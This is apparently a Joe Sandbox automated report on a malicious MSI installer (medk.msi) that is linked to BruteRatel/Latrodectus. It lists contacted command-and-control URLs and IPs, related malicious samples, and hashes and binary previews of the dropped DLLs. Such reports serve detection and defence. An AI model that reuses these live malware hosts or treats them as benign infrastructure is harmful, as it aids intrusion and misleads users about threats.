http://r11.i.lencr.org/0	rundll32.exe, 00000006.00000003.2232775913.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232426427.0000029311AC8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335149370.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4218743930.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276432733.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276717033.0000029311AC3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335035176.0000029311AC3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AC2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232460525.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276432733.0000029311ABE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4569718360.0000029313A30000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A54000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276717033.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335114775.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AD8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4218743930.0000029311AC2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232426427.0000029311AC0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.00000293119F8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/us/biden-administration-waives-26-federal-laws-to-allow-border-wall-c	explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/weather/topstories/california-s-reservoirs-runneth-over-in-astounding-reve	explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	false		high
https://samomol.com:9043/pankihoy.php	rundll32.exe, 00000006.00000003.3335114775.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://powerpoint.office.comEMd	explorer.exe, 00000008.00000000.2242782012.000000000BFEF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4590045694.000000000BFEF000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.thawte.com/cps0/	medk.msi, MSI8F42.tmp.2.dr, MSI8D89.tmp.2.dr, MSI8D3A.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8E67.tmp.2.dr, MSI8DD8.tmp.2.dr, MSI8E17.tmp.2.dr	false		high
https://rolefenik.com/test/K	explorer.exe, 00000008.00000002.4590045694.000000000C369000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://android.notify.windows.com/iOS	explorer.exe, 00000008.00000002.4590045694.000000000BFDF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2242782012.000000000BFDF000.00000004.00000001.00020000.00000000.sdmp	false		high
https://burjog.com:9043/der	rundll32.exe, 00000006.00000003.4218743930.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://burjog.com:9043/pankihoy.phpCryptographyQJga	rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.thawte.com/repository0W	medk.msi, MSI8F42.tmp.2.dr, MSI8D89.tmp.2.dr, MSI8D3A.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8E67.tmp.2.dr, MSI8DD8.tmp.2.dr, MSI8E17.tmp.2.dr	false		high
https://outlook.come	explorer.exe, 00000008.00000000.2242782012.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3083287941.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2980843458.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4590045694.000000000C086000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/technology/a-federal-emergency-alert-will-be-sent-to-us-phones-nation	explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	false		high
https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp	explorer.exe, 00000008.00000000.2238643975.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3075025138.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4581549359.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2980638609.00000000099AB000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the	explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	false		high
https://burjog.com:9043/neo.phpAHJ	rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rolefenik.com/test/3	explorer.exe, 00000008.00000002.4590045694.000000000C354000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.advancedinstaller.com	medk.msi, MSI8F42.tmp.2.dr, MSI8D89.tmp.2.dr, MSI8D3A.tmp.2.dr, 6d8c4f.msi.2.dr, MSI8E67.tmp.2.dr, MSI8DD8.tmp.2.dr, MSI8E17.tmp.2.dr	false		high
https://burjog.com/	rundll32.exe, 00000006.00000003.2232775913.0000029311A5C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A54000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232460525.0000029311A5A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A5B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com/	explorer.exe, 00000008.00000002.4581549359.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2237668120.000000000962B000.00000004.00000001.00020000.00000000.sdmp	false		high
https://burjog.com:9043/neo.phpjJ	rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rolefenik.com/test/;	explorer.exe, 00000008.00000002.4581549359.00000000098AD000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.msn.com/en-us/news/politics/kevin-mccarthy-s-ouster-as-house-speaker-could-cost-gop-its-	explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com:443/en-us/feed	explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/world/us-supplies-ukraine-with-a-million-rounds-of-ammunition-seized-	explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	false		high
https://burjog.com:9043/	rundll32.exe, 00000006.00000003.2232775913.0000029311A5C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4218743930.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A54000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232460525.0000029311A5A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A5B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/money/personalfinance/10-things-rich-people-never-buy-and-you-shouldn-t-ei	explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	false		high
https://rolefenik.com/est/	explorer.exe, 00000008.00000002.4590045694.000000000C369000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rolefenik.com/K	explorer.exe, 00000008.00000002.4590045694.000000000C369000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3077667382.000000000C369000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3079194538.000000000C369000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
87.120.37.120	samomol.com	Bulgaria	34224	NETERRA-ASBG	true
104.21.15.162	ergiholim.com	United States	13335	CLOUDFLARENETUS	true
104.21.92.105	rolefenik.com	United States	13335	CLOUDFLARENETUS	false
45.143.166.230	burjog.com	Russian Federation	43182	ITTITT-ASRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1555319
Start date and time:	2024-11-13 18:19:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	medk.msi
Detection:	MAL
Classification:	mal100.troj.evad.winMSI@9/24@4/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 27 Number of non-executed functions: 192
Cookbook Comments:	Found application associated with file extension: .msi Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: medk.msi

Simulations

Behavior and APIs

Time	Type	Description
12:20:19	API Interceptor	11154522x Sleep call for process: explorer.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.21.15.162	yPSjWvD9LD.dll	Get hash	malicious	BruteRatel, Latrodectus	Browse
104.21.15.162	http://playtaku.online	Get hash	malicious	Unknown	Browse
104.21.92.105	apptext.dll.dll	Get hash	malicious	BruteRatel, Latrodectus	Browse
	Document-v05-53-20.js	Get hash	malicious	BruteRatel, Latrodectus	Browse
	yPSjWvD9LD.dll	Get hash	malicious	BruteRatel, Latrodectus	Browse
45.143.166.230	Document-19-06-38.js	Get hash	malicious	BruteRatel	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ergiholim.com	yPSjWvD9LD.dll	Get hash	malicious	BruteRatel, Latrodectus	Browse	104.21.15.162
ergiholim.com	0TokOhBLe6.dll	Get hash	malicious	BruteRatel, Latrodectus	Browse	172.67.163.30
rolefenik.com	lavi.msi	Get hash	malicious	BruteRatel, Latrodectus	Browse	172.67.191.232
	apptext.dll.dll	Get hash	malicious	BruteRatel, Latrodectus	Browse	104.21.92.105
	Document-v05-53-20.js	Get hash	malicious	BruteRatel, Latrodectus	Browse	104.21.92.105
	yPSjWvD9LD.dll	Get hash	malicious	BruteRatel, Latrodectus	Browse	104.21.92.105
	0TokOhBLe6.dll	Get hash	malicious	BruteRatel, Latrodectus	Browse	172.67.191.232

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ITTITT-ASRU	Document-v09-42-38.js	Get hash	malicious	BruteRatel	Browse	45.143.166.83
	apptext.dll.dll	Get hash	malicious	BruteRatel, Latrodectus	Browse	45.143.166.83
	Document-v05-53-20.js	Get hash	malicious	BruteRatel, Latrodectus	Browse	45.143.166.83
	wrgmhT3TP7.elf	Get hash	malicious	Mirai	Browse	77.87.102.93
	yPSjWvD9LD.dll	Get hash	malicious	BruteRatel, Latrodectus	Browse	45.143.166.83
	0TokOhBLe6.dll	Get hash	malicious	BruteRatel, Latrodectus	Browse	45.143.166.83
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	77.87.102.99
	bot.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	45.143.166.48
	p4W95cEkDd.exe	Get hash	malicious	Stealc	Browse	45.143.167.51
	Document-19-06-38.js	Get hash	malicious	BruteRatel	Browse	45.143.166.230
NETERRA-ASBG	arm5.elf	Get hash	malicious	Unknown	Browse	31.13.248.89
	arm7.elf	Get hash	malicious	Unknown	Browse	31.13.248.89
	arm.elf	Get hash	malicious	Unknown	Browse	31.13.248.89
	harm4.elf	Get hash	malicious	Unknown	Browse	31.13.248.89
	harm5.elf	Get hash	malicious	Unknown	Browse	31.13.248.89
	harm4.elf	Get hash	malicious	Unknown	Browse	31.13.248.89
	nshsh4.elf	Get hash	malicious	Unknown	Browse	31.13.248.89
	nsharm7.elf	Get hash	malicious	Unknown	Browse	31.13.248.89
	nshppc.elf	Get hash	malicious	Unknown	Browse	31.13.248.89
	nshmips.elf	Get hash	malicious	Unknown	Browse	31.13.248.89
CLOUDFLARENETUS	Document-v17-10-27.js	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://zillow-online.com/realestate/one/drive/docs/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://zillow-online.com/realestate/one/drive/docs/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://l.e.expansion.com/rts/go2.aspx?h=1472587&tp=i-1NGB-A5-b00-1YXgaC-6v-X6KL-1c-1D5I0b-lAXcqWepVc-1yosex&pi=X3ChywZXQmNE8VeceGHlfotAef21gDzbhSQg1vZMQMU&x=%64%79%6E%61%6D%69%63%69%74%64%65%76%69%63%65%73%2E%63%6F%6D%2F%6A%6F%69%6B%64%6A%6D%65%75%65%2FFUDMSvpcJrwI1XV/YW5kcmV3Lm1hbnRlY29uQGZpcnN0b250YXJpby5jb20=	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	2024-2025_Open Enrollment4402462144024621.pdf	Get hash	malicious	Unknown	Browse	188.114.97.3
	Pmendon.ext_Reord_Adjustment.docx	Get hash	malicious	Captcha Phish	Browse	104.26.4.39
	https://arcalo.ru.com/#cathy.sekula@steptoe-johnson.com	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://carrier.businessappdevs.com/Baa9N	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	104.21.0.123
CLOUDFLARENETUS	Document-v17-10-27.js	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://zillow-online.com/realestate/one/drive/docs/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://zillow-online.com/realestate/one/drive/docs/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://l.e.expansion.com/rts/go2.aspx?h=1472587&tp=i-1NGB-A5-b00-1YXgaC-6v-X6KL-1c-1D5I0b-lAXcqWepVc-1yosex&pi=X3ChywZXQmNE8VeceGHlfotAef21gDzbhSQg1vZMQMU&x=%64%79%6E%61%6D%69%63%69%74%64%65%76%69%63%65%73%2E%63%6F%6D%2F%6A%6F%69%6B%64%6A%6D%65%75%65%2FFUDMSvpcJrwI1XV/YW5kcmV3Lm1hbnRlY29uQGZpcnN0b250YXJpby5jb20=	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	2024-2025_Open Enrollment4402462144024621.pdf	Get hash	malicious	Unknown	Browse	188.114.97.3
	Pmendon.ext_Reord_Adjustment.docx	Get hash	malicious	Captcha Phish	Browse	104.26.4.39
	https://arcalo.ru.com/#cathy.sekula@steptoe-johnson.com	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://carrier.businessappdevs.com/Baa9N	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	104.21.0.123

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	104.21.15.162 104.21.92.105
	file.exe	Get hash	malicious	LummaC	Browse	104.21.15.162 104.21.92.105
	ASmartService.exe	Get hash	malicious	LummaC	Browse	104.21.15.162 104.21.92.105
	Document.xla.xlsx	Get hash	malicious	Unknown	Browse	104.21.15.162 104.21.92.105
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse	104.21.15.162 104.21.92.105
	file.exe	Get hash	malicious	LummaC	Browse	104.21.15.162 104.21.92.105
	file.exe	Get hash	malicious	LummaC	Browse	104.21.15.162 104.21.92.105
	file.exe	Get hash	malicious	LummaC	Browse	104.21.15.162 104.21.92.105
	file.exe	Get hash	malicious	LummaC	Browse	104.21.15.162 104.21.92.105
	file.exe	Get hash	malicious	LummaC	Browse	104.21.15.162 104.21.92.105

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Installer\MSI8D3A.tmp	lavi.msi	Get hash	malicious	BruteRatel, Latrodectus	Browse
	Document-v09-42-38.js	Get hash	malicious	BruteRatel	Browse
	Document-v05-53-20.js	Get hash	malicious	BruteRatel, Latrodectus	Browse
	FW3x3p4eZ5.msi	Get hash	malicious	Bazar Loader, BruteRatel	Browse
	Document-19-06-38.js	Get hash	malicious	BruteRatel	Browse
	Document-19-06-38.js	Get hash	malicious	BruteRatel	Browse
	Document-14-33-26.js	Get hash	malicious	Unknown	Browse
	net.msi	Get hash	malicious	Unknown	Browse
	Document-14-33-26.js	Get hash	malicious	Unknown	Browse
	1156#U91d1#U5c71#U6bd2#U9738#U79bb#U7ebf#U5b89#U88c5#U5305.msi	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Config.Msi\6d8c51.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	modified
Size (bytes):	1191
Entropy (8bit):	5.695308844822562
Encrypted:	false
SSDEEP:	24:ZZlOgozVZ6I/XktlRpUjjFPLQOEDhiSOyRLK:ZanuI/SbmPGD8SOR
MD5:	C71429BA343457D00A705AB2792D1F93
SHA1:	DFD185E3328B9D382E2A24BE8D51B59B64D1A952
SHA-256:	227CF8DB2181B88B233CDE823E863D7EFE7437C242FD6895E0B5583F7CAD9567
SHA-512:	607A3B1E29F924D1FA4792CB83CD38300FEE8B0CDA3196B468753B8737D78DBB34E5F670EA9C71A337AC0D9FC023B1A4E59A192DAC987311F64C7C0438CCC9BD
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.bmY.@.....@.....@.....@.....@.....@......&.{5AB6B0C5-5CD6-4CF7-ABF4-4E467A0D78CE}..MiddleTown..medk.msi.@.....@C....@.....@........&.{B4021E8B-3405-4502-A951-957A46D23C96}.....@.....@.....@.....@.......@.....@.....@.......@......MiddleTown......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{B48CC27C-9823-4256-8235-834BFD2D0DBB}&.{5AB6B0C5-5CD6-4CF7-ABF4-4E467A0D78CE}.@......&.{4A323D5F-6D73-4C26-8E39-BE8928DA13EB}&.{5AB6B0C5-5CD6-4CF7-ABF4-4E467A0D78CE}.@......&.{C38A4B2A-9F83-4A9D-8505-10020DD6ABA7}&.{5AB6B0C5-5CD6-4CF7-ABF4-4E467A0D78CE}.@........CreateFolders..Creating folders..Folder: [1]#.6.C:\Users\user\AppData\Roaming\MSER LTD\MiddleTown\.@........InstallFiles..Copying new files&.File: [1], Directory: [9], Size: [6]..".C:\Users\user\AppData\Roaming\....).C:\Users\user\AppData\Roaming\tab.dll....WriteRegistryValues..Writing system registry values..Key: [1]

C:\Users\user\AppData\Roaming\tab.dll

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1692160
Entropy (8bit):	6.810501247617741
Encrypted:	false
SSDEEP:	24576:87u7nB/DBD9accSqVO9y/QaD74F3Zux5UDJpbD52hCvrHbvLz:8y/DBD9MVO9yos0F345UTbDukHvL
MD5:	4F4A164B5F9EF20BE601531A727179A2
SHA1:	1601622DC7CAEF28CE413E1D73B4D4596AABFC50
SHA-256:	0F23855E56EB6EC760717BE43280EEEEAEC1AEEF939F9AE6A41DAF1B8E3BD306
SHA-512:	DE09D9F0048A19C7EFA7FFAE01F58C41E619E09E6EC56E4B818B58846672A0772C58913BA5AD4C86B746D91399894A21BF51225C1737A0652B1C85FFA3307030
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3..5w..fw..fw..f<..g...fgw.gg..fgw.g}..f<..gp..f<..go..f<..gb..fw..f9..fgw.g...fw..fQ..f?v.g$..f?v.gv..f?v.fv..fw.qfu..f?v.gv..fRichw..f................PE..d.....g..........# ...).............`.......................................@............ A........................................`a..p....a...........^......0.......pS... ......P...p.......................(.......@............................................text...\|........................... ..`.rdata...x.......z..................@..@.data...........L...h..............@....pdata..0...........................@..@.rsrc....^.......`...Z..............@..@.reloc....... ......................@..B........................................................................................................................................................................................................................

C:\Windows\Installer\6d8c4f.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {B4021E8B-3405-4502-A951-957A46D23C96}, Number of Words: 10, Subject: MiddleTown, Author: MSER LTD, Name of Creating Application: MiddleTown, Template: ;1033, Comments: This installer database contains the logic and data required to install MiddleTown., Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200
Category:	dropped
Size (bytes):	2131456
Entropy (8bit):	7.438035416775101
Encrypted:	false
SSDEEP:	49152:F943YhW8zBQSc0ZnSKBZKumZr7Apj3Y+7jHplNa:6YY0Zn3K/Al3dXHpra
MD5:	8CB04BF931A19FA0AE1BD7235180DD4A
SHA1:	DFC980A827DBDE294AE9FA6E63545D1D57344E96
SHA-256:	DFFF1A07429FF9585F3DAB9C78B501174E7C326E1FB95C5234368071B5426768
SHA-512:	58F1661D689AAA9391F04E086DB490693F83B70E068CA10B20CFF6F87979A8804AA9F054AC961AF06C4B7B17FD88B1912774B2EB3D16B9DF8E7A4ED9BB3C0A29
Malicious:	false
Reputation:	low
Preview:	......................>...................!...................................E.......a...............................(...)......+...,...-...........A...B...C...D...E...F...G...H...I...J...K...L...M...N...............................................................................................................................................................................................................................................................................................................................<...........!...3............................................................................................... ...+..."...#...$...%...&...'...(...)......1...,...-......./...0...4...2...;...?...5...6...7...8...9...:.......=.......>.......@...A...B...C...D...........G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Windows\Installer\MSI8D3A.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: lavi.msi, Detection: malicious, Browse Filename: Document-v09-42-38.js, Detection: malicious, Browse Filename: Document-v05-53-20.js, Detection: malicious, Browse Filename: FW3x3p4eZ5.msi, Detection: malicious, Browse Filename: Document-19-06-38.js, Detection: malicious, Browse Filename: Document-19-06-38.js, Detection: malicious, Browse Filename: Document-14-33-26.js, Detection: malicious, Browse Filename: net.msi, Detection: malicious, Browse Filename: Document-14-33-26.js, Detection: malicious, Browse Filename: 1156#U91d1#U5c71#U6bd2#U9738#U79bb#U7ebf#U5b89#U88c5#U5305.msi, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI8D89.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
